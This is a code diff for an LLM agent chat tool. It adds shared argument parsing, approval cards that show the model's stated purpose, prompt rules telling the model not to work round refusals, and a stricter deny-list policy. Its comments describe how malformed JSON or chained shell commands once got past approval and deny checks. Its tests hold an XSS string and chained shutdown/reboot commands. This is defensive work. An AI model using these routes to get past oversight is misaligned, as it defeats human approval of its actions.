@@ -931,12 +1015,29 @@ def _tool_status(calls: list[dict]) -> str:
return f"Running {len(calls)} tools…" return f"Running {len(calls)} tools…"
def _arguments_of(call: dict) -> dict: def _book(context) -> dict:
try: """The tools this request may call, keyed by name.
args = json.loads(call["arguments"] or "{}")
except json.JSONDecodeError: `context.tools` is authoritative *even when empty* -- a dict means somebody
return {} resolved a set. Only `None` means nobody did, which is the one case that
return args if isinstance(args, dict) else {} falls back to the import-time registry.
"""
return context.tools if context.tools is not None else tools_service.REGISTRY
def _arguments_for(context, calls: list[dict]) -> list[dict]:
"""Every call's arguments in this round, parsed once.
Once, and shared: the card, the policy and the runner all read the same
dict. Two parsers meant a model could emit malformed JSON and get an
approval card with an empty command body while `run_tool`'s own fallback
handed the raw string to `shell_run` and ran it.
"""
book = _book(context)
return [
tools_service.parse_arguments(book.get(call["name"]), call["arguments"])
for call in calls
]
def _describe(name: str, args: dict) -> tuple[str, str]: def _describe(name: str, args: dict) -> tuple[str, str]:
@@ -953,19 +1054,23 @@ def _describe(name: str, args: dict) -> tuple[str, str]:
return tool_labels.describe(name, args) return tool_labels.describe(name, args)
def _approvals(context, calls: list[dict]) -> list[interaction.Item]: def _approvals(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]:
"""The calls in this round that a person has to allow before they run. """The calls in this round that a person has to allow before they run.
Only in an agent chat: `context.agent` is None everywhere else, and an Only in an agent chat: `context.agent` is None everywhere else, and an
ordinary conversation behaves exactly as it did. Within one, *every* call ordinary conversation behaves exactly as it did. Within one, *every* call
goes through the table, including the built-in ones -- `notes_edit` writes, goes through the table, including the built-in ones -- `notes_edit` writes,
and Plan mode meaning "look but do not touch" has to mean that too. and Plan mode meaning "look but do not touch" has to mean that too.
`arguments` is what `_arguments_for` parsed, positionally matched to
`calls`. Deliberately not re-parsed here: the card has to describe what the
runner will actually be given.
""" """
agent = getattr(context, "agent", None) agent = getattr(context, "agent", None)
if agent is None: if agent is None:
return [] return []
book = context.tools if context.tools is not None else tools_service.REGISTRY book = _book(context)
items: list[interaction.Item] = [] items: list[interaction.Item] = []
for index, call in enumerate(calls): for index, call in enumerate(calls):
@@ -973,7 +1078,7 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]:
if tool is None or tool.risk == tools_service.RISK_ASK: if tool is None or tool.risk == tools_service.RISK_ASK:
continue # unknown names are refused by run_tool; questions are their own card continue # unknown names are refused by run_tool; questions are their own card
args = _arguments_of(call) args = arguments[index]
command = str(args.get("command") or "") if call["name"] == "shell_run" else "" command = str(args.get("command") or "") if call["name"] == "shell_run" else ""
decision = agent_policy.decide( decision = agent_policy.decide(
mode=agent.mode, mode=agent.mode,
@@ -996,12 +1101,13 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]:
title=f"{title} on {agent.label}", title=f"{title} on {agent.label}",
detail=detail, detail=detail,
reason=decision.reason, reason=decision.reason,
purpose=agent_tools.why_of(args),
) )
) )
return items return items
def _ask_items(context, calls: list[dict]) -> list[interaction.Item]: def _ask_items(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]:
"""Which of this round's calls need a person, and what to show about each. """Which of this round's calls need a person, and what to show about each.
Looked up through `context.tools`, the map of what was actually offered -- Looked up through `context.tools`, the map of what was actually offered --
@@ -1009,14 +1115,14 @@ def _ask_items(context, calls: list[dict]) -> list[interaction.Item]:
here and refused there, so an unknown tool cannot smuggle itself past by here and refused there, so an unknown tool cannot smuggle itself past by
being unclassifiable. being unclassifiable.
""" """
book = context.tools if context.tools is not None else tools_service.REGISTRY book = _book(context)
items: list[interaction.Item] = [] items: list[interaction.Item] = []
for index, call in enumerate(calls): for index, call in enumerate(calls):
tool = book.get(call["name"]) tool = book.get(call["name"])
if tool is None or tool.risk != tools_service.RISK_ASK: if tool is None or tool.risk != tools_service.RISK_ASK:
continue continue
args = _arguments_of(call) args = arguments[index]
for asked in _questions_in(args): for asked in _questions_in(args):
options = [str(o).strip() for o in (asked.get("options") or []) if str(o).strip()] options = [str(o).strip() for o in (asked.get("options") or []) if str(o).strip()]
@@ -1064,7 +1170,7 @@ def _questions_in(args: dict) -> list[dict]:
async def _authorise( async def _authorise(
generation, context, calls: list[dict] generation, context, calls: list[dict], arguments: list[dict]
) -> tuple[dict[int, ToolOutcome], set[int]]: ) -> tuple[dict[int, ToolOutcome], set[int]]:
"""Which of this round's calls may run, and what the others answer instead. """Which of this round's calls may run, and what the others answer instead.
@@ -1079,8 +1185,8 @@ async def _authorise(
very thing that was just approved -- the mode says "ask", and asking is what very thing that was just approved -- the mode says "ask", and asking is what
happened. happened.
""" """
questions = _ask_items(context, calls) questions = _ask_items(context, calls, arguments)
approvals = _approvals(context, calls) approvals = _approvals(context, calls, arguments)
items = [*approvals, *questions] items = [*approvals, *questions]
if not items: if not items:
return {}, set() return {}, set()
@@ -1187,6 +1293,7 @@ def _answered(items: list[interaction.Item], reply: interaction.Reply) -> ToolOu
async def _run_calls( async def _run_calls(
context, context,
calls: list[dict], calls: list[dict],
arguments: list[dict],
*, *,
decided: dict[int, ToolOutcome] | None = None, decided: dict[int, ToolOutcome] | None = None,
allowed: set[int] | None = None, allowed: set[int] | None = None,
@@ -1224,7 +1331,9 @@ async def _run_calls(
ctx = replace(context, agent=context.agent.as_approved()) ctx = replace(context, agent=context.agent.as_approved())
async with limit: async with limit:
return await tools_service.run_tool(ctx, call["name"], call["arguments"]) return await tools_service.run_tool(
ctx, call["name"], call["arguments"], parsed=arguments[index]
)
return list(await asyncio.gather(*(one(i, c) for i, c in enumerate(calls)))) return list(await asyncio.gather(*(one(i, c) for i, c in enumerate(calls))))
+18 -3
View File
@@ -47,9 +47,24 @@ from lembas.services.library import skills as skills_service
log = logging.getLogger(__name__) log = logging.getLogger(__name__)
# A ceiling on the whole block, so that a large library cannot quietly eat the # A ceiling on the whole block, so that a large library cannot quietly eat the
# context window. Memory and skills have their own caps below this one. An # context window. An administrator can lower it; `max_harness_chars` of 0 means
# administrator can lower it; `max_harness_chars` of 0 means "use this". # "use this".
MAX_HARNESS_CHARS = 8000 #
# It has to be larger than everything the shipped defaults are already allowed
# to put in, and at 8000 it was not. The fragments alone are about 7,900
# characters for an agent chat, and on top of that `index_chars` grants a 2,000
# character project listing and `instructions_chars` a 4,000 character
# AGENTS.md -- both defaults, both on by default. The block was therefore cut at
# 8,000 on an ordinary agent chat, and `prompts.assemble` cuts the *tail*, which
# by fragment order is exactly the context worth having: the listing was severed
# mid-tree and `context.agent_instructions` was dropped in its entirety. The one
# path by which a project's own instructions reach a model did not reach it.
#
# The two big blocks already carry their own budgets, applied before assembly,
# so they are bounded whatever this is. What this bounds is the *fragments*
# growing without anybody noticing -- so it is set above the sum of what those
# budgets grant, with room for the plan and the memories beside them.
MAX_HARNESS_CHARS = 16000
# How many attached filenames to name in the prompt. Enough to show what the # How many attached filenames to name in the prompt. Enough to show what the
# tags will look like, few enough that a chat with thirty files does not spend # tags will look like, few enough that a chat with thirty files does not spend
+6
View File
@@ -77,6 +77,12 @@ class Item:
title: str title: str
detail: str = "" detail: str = ""
reason: str = "" reason: str = ""
# What the model says this call is for, in its own words -- distinct from
# `reason`, which is why *we* stopped ("Edit mode asks before anything that
# runs a command"). Model text, and shown as such: a card carrying an
# explanation somebody reads as the application's own would be a card
# vouching for it.
purpose: str = ""
options: tuple[str, ...] = () options: tuple[str, ...] = ()
allow_free_text: bool = True allow_free_text: bool = True
+55
View File
@@ -670,6 +670,54 @@ BUILTIN: tuple[Fragment, ...] = (
"to report progress and wait to be told to continue." "to report progress and wait to be told to continue."
), ),
), ),
Fragment(
key="core.objective",
label="Working to an objective",
group=GROUP_CORE,
order=112,
families=("agent",),
hint="An agent chat only. A model given a piece of work drifts: it "
"starts on what was asked, finds something adjacent, and finishes "
"somewhere else without ever saying it changed course. Naming the "
"objective at the start makes the drift visible -- to the reader, and "
"to the model itself, which is then answerable to something it wrote "
"down. Not in an ordinary chat, where it would be preamble in front of "
"a two-line answer.",
default=(
"Settle what you are setting out to achieve before you start, and say it "
"in a line or two: the objective, and what would have to be true for it to "
"be done. Then hold to it. If what you find means the objective was wrong, "
"or cannot be met as stated, say so plainly and say what it is now — do "
"not slide quietly into a different piece of work. Before you finish, check "
"what you actually did against it and say whether it is met, partly met or "
"not, and what is left."
),
),
Fragment(
key="core.narrate",
label="Working out loud",
group=GROUP_CORE,
order=113,
families=("agent",),
hint="An agent chat only, and deliberately the opposite of the rule "
"above about not announcing tool calls -- which is right for a short "
"answer and wrong here. A short answer is read once it is finished; a "
"long piece of work is *watched while it runs*, and a reader who "
"cannot see what is being done cannot stop the wrong thing being done. "
"Text written before a tool call survives into the finished reply, so "
"this costs nothing beyond the tokens.",
default=(
"Work out loud. Before a round of tool calls, say in a line what you are "
"about to do and what you expect; when the results come back, say what you "
"actually found and what it changes — and then carry on in the same reply "
"rather than stopping to report. Announcing what you are about to do is "
"right here, even though it would be noise in a short answer.\n"
"Keep it to a line or two at a time, and make it findings rather than "
"narration: what you expected, what was actually there, what you are doing "
"about it. Anything you worked out and did not write down is lost when the "
"reply ends."
),
),
Fragment( Fragment(
key="core.interjection", key="core.interjection",
label="Being interrupted", label="Being interrupted",
@@ -957,6 +1005,13 @@ BUILTIN: tuple[Fragment, ...] = (
"`apt-get update` first or it reports the package as missing.\n" "`apt-get update` first or it reports the package as missing.\n"
"- Look before you write. Read a file before replacing it, and list a " "- Look before you write. Read a file before replacing it, and list a "
"directory before guessing at a path.\n" "directory before guessing at a path.\n"
"- Say what each one is for. `shell_run`, `file_write`, `file_edit` and "
"`job_stop` take a `why`: one line, in plain language. It is what the "
"person sees beside the action — on the card when they are asked to "
"approve it, and in the transcript when they are not.\n"
"- Check your work. Read a file back after changing it, look at what a "
"command actually exited with rather than assuming it worked, and run the "
"project's own tests or build if it has any.\n"
"- {{agent_mode}}\n" "- {{agent_mode}}\n"
"- If something is refused, say what you were going to do and ask. Do " "- If something is refused, say what you were going to do and ask. Do "
"not look for another way round it." "not look for another way round it."
+75 -14
View File
@@ -1145,6 +1145,33 @@ def scoped_skills_off(chat: Chat | None) -> frozenset[str]:
return frozenset(str(name) for name, on in wanted.items() if on is False) return frozenset(str(name) for name, on in wanted.items() if on is False)
def scoped_allow(chat: Chat | None) -> tuple[str, ...]:
"""Actions this chat has been told to stop asking about.
The one key under `scope_json` that *widens* rather than narrows, and it is
worth being explicit about why that does not break the rule beside it. That
rule governs which tools a chat may reach, where a crafted POST turning
something on would reach past gates the model's capabilities and the
reader's permissions had already closed. This is a different axis: every
tool here was offered already, and what is recorded is only whether the
reader is asked again before it runs.
What makes it safe is that **no pattern ever comes from a request**. Each
entry is derived server-side in `api/chats.py:answer_interaction` from an
item a person has just approved on a card, through `policy.subject` -- the
same normaliser the matcher uses, so what is stored is exactly what will be
compared, and it refuses to produce anything at all for a command line
carrying a shell metacharacter. "Always" can therefore only ever mean "this
exact thing again".
"""
if chat is None:
return ()
wanted = (getattr(chat, "scope_json", None) or {}).get("allow") or []
if not isinstance(wanted, list):
return ()
return tuple(str(entry) for entry in wanted if str(entry).strip())
def enabled_tools(db: DBSession, chat: Chat, user: User | None) -> list[dict[str, Any]]: def enabled_tools(db: DBSession, chat: Chat, user: User | None) -> list[dict[str, Any]]:
"""The tool schemas to offer for this chat. """The tool schemas to offer for this chat.
@@ -1175,7 +1202,45 @@ def context_for(
) )
async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutcome: def parse_arguments(tool: ToolDef | None, raw: str) -> dict[str, Any]:
"""One tool call's arguments, as a dict, however badly they were spelled.
**The only place a call's arguments are interpreted.** It used to live
inside `run_tool`, while the approval card had its own plain `json.loads`
that returned `{}` on failure -- so a model emitting malformed JSON got a
card headed "Run a command" with an empty body, while the fallback below
handed the raw string to `shell_run` as its command and ran it. The card
showed one thing and the machine did another, and `policy.decide` was
handed an empty command line it could match against neither list.
So the loop parses once and the same dict reaches the card, the policy and
the runner. Callers that only have a name resolve the `ToolDef` first; a
`None` tool still parses valid JSON, which is what an unknown name needs.
"""
try:
parsed = json.loads(raw) if raw.strip() else {}
except json.JSONDecodeError:
# Small models emit malformed argument JSON often enough that this is a
# normal path, not an exceptional one. Treat the whole string as the
# tool's first argument rather than giving up: what it says is required,
# else the first thing it declares, and only then a guess -- a schema
# somebody else wrote need not have either.
parameters = tool.parameters if tool is not None else {}
properties = parameters.get("properties") or {}
names = parameters.get("required") or list(properties) or ["query"]
parsed = {str(names[0]): raw.strip()}
if not isinstance(parsed, dict):
return {"query": str(parsed)}
return parsed
async def run_tool(
context: ToolContext,
name: str,
arguments: str,
*,
parsed: dict[str, Any] | None = None,
) -> ToolOutcome:
"""Execute one tool call. """Execute one tool call.
Never raises. A tool that fails hands the model an explanation and lets it Never raises. A tool that fails hands the model an explanation and lets it
@@ -1187,6 +1252,11 @@ async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutco
chat was gated out of -- a family switched off for the model, a permission chat was gated out of -- a family switched off for the model, a permission
the reader does not have -- had it run anyway, because only the offer was the reader does not have -- had it run anyway, because only the offer was
ever filtered. ever filtered.
`parsed` is the arguments the caller has already interpreted. The generation
loop passes it so that what a person approved is what runs; a caller with
only the raw string gets the same result, because both go through
`parse_arguments`.
""" """
book = REGISTRY if context.tools is None else context.tools book = REGISTRY if context.tools is None else context.tools
tool = book.get(name) tool = book.get(name)
@@ -1196,19 +1266,8 @@ async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutco
{"name": name, "status": "error", "error": "Unknown tool."}, {"name": name, "status": "error", "error": "Unknown tool."},
) )
try: if parsed is None:
parsed = json.loads(arguments) if arguments.strip() else {} parsed = parse_arguments(tool, arguments)
except json.JSONDecodeError:
# Small models emit malformed argument JSON often enough that this is a
# normal path, not an exceptional one. Treat the whole string as the
# tool's first argument rather than giving up: what it says is required,
# else the first thing it declares, and only then a guess -- a schema
# somebody else wrote need not have either.
properties = tool.parameters.get("properties") or {}
names = tool.parameters.get("required") or list(properties) or ["query"]
parsed = {str(names[0]): arguments.strip()}
if not isinstance(parsed, dict):
parsed = {"query": str(parsed)}
try: try:
return await tool.run(context, parsed) return await tool.run(context, parsed)
@@ -1354,9 +1413,11 @@ __all__ = [
"context_for", "context_for",
"enabled_tools", "enabled_tools",
"families", "families",
"parse_arguments",
"registry", "registry",
"resolve_tools", "resolve_tools",
"run_tool", "run_tool",
"scoped_allow",
"tool_turn", "tool_turn",
] ]
+24 -1
View File
@@ -351,8 +351,16 @@
.tool-activity__summary::-webkit-details-marker { display: none; } .tool-activity__summary::-webkit-details-marker { display: none; }
.tool-activity__summary:hover { color: var(--ink); background: var(--surface-hover); } .tool-activity__summary:hover { color: var(--ink); background: var(--surface-hover); }
.tool-activity__icon { color: var(--leaf); flex: none; } .tool-activity__icon { color: var(--leaf); flex: none; }
.tool-activity__label { flex: 1; } .tool-activity__label { flex: 1; min-width: 0; }
.tool-activity__count { color: var(--ink-faint); } .tool-activity__count { color: var(--ink-faint); }
/* The model's own account of what a call is for, under the command it belongs
to. `display: block` inside the flex row's label, so the icon and the chevron
stay centred against both lines. */
.tool-activity__why {
display: block;
color: var(--ink-faint);
font-size: var(--text-xs);
}
.tool-activity[open] .reasoning__chevron { transform: rotate(180deg); } .tool-activity[open] .reasoning__chevron { transform: rotate(180deg); }
.tool-activity__body { .tool-activity__body {
@@ -514,6 +522,9 @@
overflow-wrap: anywhere; overflow-wrap: anywhere;
} }
.interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); } .interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); }
/* The model's account of what it is about to do. Above the command and quieter
than the title, so the command stays the thing being agreed to. */
.interaction__purpose { margin: 0; color: var(--ink-muted); font-size: var(--text-sm); }
.interaction__actions { .interaction__actions {
display: flex; display: flex;
flex-wrap: wrap; flex-wrap: wrap;
@@ -976,6 +987,18 @@
color: var(--ink-faint); color: var(--ink-faint);
} }
/* One thing this chat has been told to stop asking about. Monospace because an
entry is usually a command line, and it is worth being able to read back
exactly what was agreed to. */
.picker__allow-entry {
margin: 0;
padding: 0 var(--sp-3) var(--sp-1);
font-family: var(--font-mono);
font-size: var(--text-xs);
color: var(--ink-muted);
overflow-wrap: anywhere;
}
/* The help and usage sheets. */ /* The help and usage sheets. */
.sheet { width: 100%; border-collapse: collapse; font-size: var(--text-sm); } .sheet { width: 100%; border-collapse: collapse; font-size: var(--text-sm); }
.sheet td { padding: var(--sp-1) var(--sp-2); vertical-align: top; } .sheet td { padding: var(--sp-1) var(--sp-2); vertical-align: top; }
+27 -1
View File
@@ -163,7 +163,7 @@
Only on an existing chat -- there is no row to write to before one Only on an existing chat -- there is no row to write to before one
exists, and a switch that went nowhere is worse than no switch. exists, and a switch that went nowhere is worse than no switch.
#} #}
{% set has_scope = chat and (scope_families or scope_skills) %} {% set has_scope = chat and (scope_families or scope_skills or scope_allow) %}
{% if has_scope or can.get("files.upload") %} {% if has_scope or can.get("files.upload") %}
<div class="picker picker--up" data-picker> <div class="picker picker--up" data-picker>
<button class="btn btn--icon composer__btn" type="button" data-picker-toggle <button class="btn btn--icon composer__btn" type="button" data-picker-toggle
@@ -214,6 +214,32 @@
{% endfor %} {% endfor %}
{% endif %} {% endif %}
{# What this chat has been told to stop asking about, one entry per
press of "Always allow this" on an approval card. Shown because
a standing permission nobody can see is one nobody can revoke --
and because the entry for a command is the exact command line,
which is worth being able to read back.
Clear swaps the whole block for nothing, so the row disappears.
htmx does not swap on a 204, which is why the route returns an
empty body. #}
{% if scope_allow %}
<div class="picker__allow">
<p class="picker__group">Always allowed here</p>
{% for entry in scope_allow %}
<p class="picker__allow-entry">{{ entry }}</p>
{% endfor %}
<button class="picker__option" type="button" role="menuitem"
hx-post="/api/chats/{{ chat.id }}/allow/clear"
hx-target="closest .picker__allow" hx-swap="outerHTML">
{{ icon("trash", "icon--sm") }}
<span class="picker__option-body">
<span class="picker__option-name">Ask me about these again</span>
</span>
</button>
</div>
{% endif %}
{# The affordance the `@` button used to be, kept as one row so {# The affordance the `@` button used to be, kept as one row so
nothing is lost by replacing the button -- and it is what this nothing is lost by replacing the button -- and it is what this
menu holds on a chat that does not exist yet, where there is no menu holds on a chat that does not exist yet, where there is no
@@ -70,6 +70,13 @@
{% for item in ask.items %} {% for item in ask.items %}
<div class="interaction__question"> <div class="interaction__question">
<p class="interaction__title">{{ item.title }}</p> <p class="interaction__title">{{ item.title }}</p>
{% if item.purpose %}
{# The model's own account of what this is for, above the thing itself.
Deliberately separate from `reason` below, which is *our* reason for
stopping — attributed, so nobody reads an explanation the model wrote
as the application vouching for the command. #}
<p class="interaction__purpose">It says: {{ item.purpose }}</p>
{% endif %}
{% if item.detail %} {% if item.detail %}
<pre class="interaction__detail">{{ item.detail }}</pre> <pre class="interaction__detail">{{ item.detail }}</pre>
{% endif %} {% endif %}
@@ -61,6 +61,17 @@
· {{ event.results | length }} result{{ '' if event.results | length == 1 else 's' }} · {{ event.results | length }} result{{ '' if event.results | length == 1 else 's' }}
</span> </span>
{% endif %} {% endif %}
{% if event.why %}
{# What the model said this call was for. In the summary rather than the
body because the body is collapsed: in Auto mode nothing stops for
approval, so without this a reader watches a list of commands with no
account of what any of them is for until the reply ends.
Model text, escaped like everything else here, and styled as a quieter
second line so it reads as the model's account rather than ours. #}
<span class="tool-activity__why">{{ event.why }}</span>
{% endif %}
</span> </span>
{{ icon("chevron-down", "icon--sm reasoning__chevron") }} {{ icon("chevron-down", "icon--sm reasoning__chevron") }}
</summary> </summary>
+47
View File
@@ -384,6 +384,53 @@ def test_the_card_shows_the_question_and_its_options():
assert "The model is asking you" in html, "attributed to the model, not to LLeMbas" assert "The model is asking you" in html, "attributed to the model, not to LLeMbas"
def test_an_approval_card_shows_what_the_model_said_it_was_doing():
"""Attributed, and kept apart from our own reason for stopping. An
explanation a reader takes for the application's would be LLeMbas vouching
for a command a model wrote."""
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest -q",
reason="Edit mode asks before anything that runs a command.",
purpose="Checking the change did not break anything.",
),
),
)
html = _render(pause)
assert "It says: Checking the change did not break anything." in html
assert "pytest -q" in html
assert "Edit mode asks" in html
def test_an_explanation_on_a_card_is_escaped():
"""It is model text, and the model may have been reading somebody else's
file a moment ago."""
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="ls",
purpose="<img src=x onerror=alert(1)>",
),
),
)
html = _render(pause)
assert "<img src=x" not in html
assert "&lt;img" in html
def test_the_card_never_offers_a_password_field(): def test_the_card_never_offers_a_password_field():
"""A model talked into asking for a credential must not be handed a field """A model talked into asking for a credential must not be handed a field
that looks built for one.""" that looks built for one."""
+56
View File
@@ -114,6 +114,41 @@ def test_the_command_is_never_in_a_quoted_context():
assert cmd in inner, "the command was lost in the base64 round-trip" assert cmd in inner, "the command was lost in the base64 round-trip"
def test_every_wrapper_is_valid_shell():
"""`sh -n` parses without executing.
The one that would have caught it: `{log}` for `{logf}` formatted the module
logger into the launch-and-wait wrapper, and `<Logger (WARNING)>` is shell
syntax. The error landed after the sentinel, where nothing reads it, so the
command still worked and the cleanup silently never ran.
"""
import subprocess
wrappers = [
jobs.launch_command("chatx", "abc123abc123", "echo hi"),
jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096),
jobs.read_command("chatx", "abc123abc123", 4096),
jobs.stop_command("chatx", "abc123abc123"),
jobs.cleanup_command("chatx", "abc123abc123"),
]
for wrapper in wrappers:
done = subprocess.run(
["sh", "-n"], input=wrapper, capture_output=True, text=True, check=False
)
assert done.returncode == 0, f"not valid shell:\n{wrapper}\n{done.stderr}"
def test_launch_and_wait_removes_every_file_it_made():
"""Its last line is the only cleanup on the fast path -- nothing calls
`_cleanup` when a command finishes in time."""
wrapper = jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096)
removal = next(line for line in wrapper.splitlines() if line.startswith("rm -f"))
for extension in ("sh", "pid", "log", "exit"):
assert jobs._file("chatx", "abc123abc123", extension) in removal, extension
assert "<Logger" not in wrapper
def test_parse_reads_the_last_sentinel(): def test_parse_reads_the_last_sentinel():
out = ("line one\n__LEMBAS_jobjobjob01__:0\nmore\n__LEMBAS_jobjobjob01__:0") out = ("line one\n__LEMBAS_jobjobjob01__:0\nmore\n__LEMBAS_jobjobjob01__:0")
done = jobs.parse_completed(out, "jobjobjob01") done = jobs.parse_completed(out, "jobjobjob01")
@@ -136,6 +171,27 @@ async def test_a_fast_command_completes_like_a_foreground_one(tmp_path):
assert not jobs.for_chat(agent.chat_id), "a finished command is not a job" assert not jobs.for_chat(agent.chat_id), "a finished command is not a job"
async def test_a_fast_command_leaves_nothing_behind(tmp_path):
"""With background on, *every* command goes through the wrapper, so a
cleanup that does not run is four files per command on somebody's machine --
including the log, which holds everything the command printed."""
import os
import pathlib
import uuid
# Its own chat id, so the directory is exclusively this run's. Job files are
# namespaced by chat, so that is isolation by construction rather than by
# tidying up after a previous run -- which is what a shared id would need,
# and would quietly pass the moment the tidying broke.
chat_id = uuid.uuid4().hex[:12]
agent = _agent(tmp_path, chat_id=chat_id)
await _run_shell(_context(agent), {"command": "echo hello"})
root = pathlib.Path(os.environ.get("TMPDIR", "/tmp")) / "lembas-jobs" / chat_id
left = sorted(p.name for p in root.iterdir()) if root.exists() else []
assert left == [], f"left behind: {left}"
async def test_a_nonzero_exit_is_read_from_the_exit_file_not_the_wrapper(tmp_path): async def test_a_nonzero_exit_is_read_from_the_exit_file_not_the_wrapper(tmp_path):
"""The wrapper's own status is ~0 from its trailing rm; the command's real """The wrapper's own status is ~0 from its trailing rm; the command's real
status is in the exit-file.""" status is in the exit-file."""
+46 -3
View File
@@ -144,9 +144,7 @@ def test_a_plain_command_still_matches_a_glob():
assert decision.verdict == ALLOW, "whitespace is normalised before matching" assert decision.verdict == ALLOW, "whitespace is normalised before matching"
def test_a_composed_command_still_matches_a_deny_list(): def test_a_plain_command_still_matches_a_deny_list():
"""The metacharacter rule protects the allow list only. Failing open on a
deny returns you to the mode; failing open on an allow runs the command."""
decision = decide( decision = decide(
mode=policy.MODE_AUTO, mode=policy.MODE_AUTO,
risk=RISK_EXECUTE, risk=RISK_EXECUTE,
@@ -157,6 +155,51 @@ def test_a_composed_command_still_matches_a_deny_list():
assert decision.verdict == ASK assert decision.verdict == ASK
@pytest.mark.parametrize(
"command",
[
"shutdown -h now &",
"reboot; echo x",
"true && shutdown -h now",
"shutdown -h now > /dev/null",
"echo x\nreboot",
"$(shutdown -h now)",
],
)
def test_a_composed_command_cannot_slip_past_a_deny_list(command):
"""One character used to be the whole of the difference.
`subject` returns None for anything carrying a metacharacter, so no pattern
could match it -- and the original reasoning said that was safe for a deny
list because it "returns you to the mode". True in Manual, Edit and Plan.
In Auto the mode is ALLOW, so `shutdown -h now` asked and
`shutdown -h now &` ran.
"""
decision = decide(
mode=policy.MODE_AUTO,
risk=RISK_EXECUTE,
tool_name="shell_run",
command=command,
deny=("shutdown *", "reboot *"),
)
assert decision.verdict == ASK, command
def test_a_composed_command_is_still_fine_when_nothing_is_denied():
"""The rule above is scoped to there being a deny list at all.
Otherwise Auto would ask about `cd build && make`, which is most real
commands, and the mode whose whole purpose is not asking would ask.
"""
decision = decide(
mode=policy.MODE_AUTO,
risk=RISK_EXECUTE,
tool_name="shell_run",
command="cd build && make",
)
assert decision.verdict == ALLOW
def test_subject_refuses_to_produce_a_matchable_line_for_composed_commands(): def test_subject_refuses_to_produce_a_matchable_line_for_composed_commands():
assert policy.subject("shell_run", "ls -la") == "ls -la" assert policy.subject("shell_run", "ls -la") == "ls -la"
assert policy.subject("shell_run", "ls; rm") is None assert policy.subject("shell_run", "ls; rm") is None
+391
View File
@@ -12,6 +12,7 @@ import json as _json
import time import time
import pytest import pytest
from sqlalchemy import select
from lembas.db.models import ( from lembas.db.models import (
KIND_AGENT, KIND_AGENT,
@@ -28,6 +29,7 @@ from lembas.services import interaction, settings_store
from lembas.services import tools as tools_service from lembas.services import tools as tools_service
from lembas.services.agent import policy, session from lembas.services.agent import policy, session
from lembas.services.agent import ssh as ssh_service from lembas.services.agent import ssh as ssh_service
from lembas.services.tools import RISK_EXECUTE
asyncssh = pytest.importorskip("asyncssh") asyncssh = pytest.importorskip("asyncssh")
@@ -539,6 +541,143 @@ async def test_a_command_waits_for_approval_and_the_card_shows_it(
await task await task
async def test_malformed_arguments_still_show_the_command_that_will_run(
db, user_id, machine, monkeypatch
):
"""The card and the runner read the same parsed arguments.
They used to disagree: the card did a plain `json.loads` and showed `{}` on
failure, while `run_tool` put the raw string into the tool's first required
parameter -- `command` -- and ran it. So a model emitting invalid JSON got a
card headed "Run a command" with an empty body, and Allow ran something the
reader was never shown.
"""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
message_id = _pending_reply(db, chat)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
task = asyncio.create_task(generation_service._run(generation))
pending = await _until_paused(generation)
assert pending.items[0].detail == "rm -rf /tmp/x"
pending.resolve(interaction.DENY)
await task
async def test_the_card_carries_what_the_model_said_it_was_doing(
db, user_id, machine, monkeypatch
):
"""`why` is the model's account; `reason` is ours. Both, and kept apart."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
message_id = _pending_reply(db, chat)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[
_chunk(
"shell_run",
'{"command": "pytest -q", "why": "Checking the change did not '
'break anything."}',
)
],
[_text("Done.")],
],
[],
),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
task = asyncio.create_task(generation_service._run(generation))
pending = await _until_paused(generation)
item = pending.items[0]
assert item.purpose == "Checking the change did not break anything."
assert item.detail == "pytest -q", "the command is still the thing being agreed to"
assert "Manual" in item.reason, "our reason for stopping is separate from theirs"
pending.resolve(interaction.DENY)
await task
async def test_the_transcript_keeps_the_explanation(db, user_id, machine, monkeypatch):
"""Auto mode stops for nothing, so the event is the only place a reader ever
sees what a command was for."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
message_id = _pending_reply(db, chat)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream(
[
[_chunk("shell_run", '{"command": "ls", "why": "Seeing what is here."}')],
[_text("Done.")],
],
[],
),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
await generation_service._run(generation)
assert generation.tool_events[0]["why"] == "Seeing what is here."
async def test_a_call_without_an_explanation_carries_no_empty_one(
db, user_id, machine, monkeypatch
):
"""Absent stays absent. An empty string on every event would render a blank
second line under every command in the transcript."""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
message_id = _pending_reply(db, chat)
monkeypatch.setattr(
generation_service,
"stream_chat",
_stub_stream([[_chunk("shell_run", '{"command": "ls"}')], [_text("Done.")]], []),
)
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
await generation_service._run(generation)
assert "why" not in generation.tool_events[0]
async def test_malformed_arguments_are_still_checked_against_the_deny_list(
db, user_id, machine, monkeypatch
):
"""The consequence of the above, in the mode where it matters.
In Auto nothing is shown first, so a command the card could not describe was
also a command `policy.decide` was handed as "" -- matching neither list and
falling through to the mode, which is ALLOW. Invalid JSON was a way past the
deny list.
"""
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
